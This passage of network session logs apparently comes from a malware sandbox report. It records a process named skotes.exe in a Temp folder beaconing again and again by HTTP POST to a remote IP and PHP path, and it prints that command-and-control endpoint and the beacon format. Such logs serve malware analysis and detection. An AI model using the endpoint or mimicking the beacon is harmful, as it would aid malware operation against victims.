Nov 29, 2024 19:51:52.514198065 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:51:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	50157	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:54.259787083 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:51:55.637947083 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:51:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50160	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:57.392713070 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:51:58.837603092 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:51:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50165	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:52:00.583601952 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:52:02.010674953 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:52:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	50173	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:52:03.653903008 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:52:05.000044107 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:52:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50177	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:52:06.745495081 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:52:08.122963905 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:52:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	50186	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:52:09.764075041 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:52:11.206557035 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:52:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	50194	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:52:12.968394041 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:52:14.321723938 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:52:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	50198	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:52:15.960903883 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:52:17.396799088 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:52:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	50203	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:52:19.146223068 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:52:20.528804064 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:52:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	50204	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:52:22.167181015 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:52:23.514947891 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:52:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	50205	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:52:25.264612913 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:52:26.596371889 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:52:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	50206	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:52:28.242202044 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:52:29.682940006 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:52:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	50207	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:52:31.431768894 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:52:32.870327950 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:52:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	50208	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:52:34.510797977 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:52:36.812174082 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:52:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	50209	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:52:38.560719967 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:52:39.963304043 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:52:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	50211	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:52:41.596262932 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:52:42.995079041 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:52:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	50212	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:52:44.738040924 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:52:46.162174940 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:52:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	50213	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:52:47.799844027 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:52:49.280323029 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:52:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	50214	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:52:51.025428057 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:52:52.659029007 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:52:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	50215	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:52:54.307760000 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:52:55.782320976 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:52:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	50216	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:52:57.532494068 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:52:58.992690086 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:52:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	50217	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:53:00.651089907 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:53:02.030539036 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:53:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	50218	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:53:03.774426937 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:53:05.220597982 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:53:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	50219	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
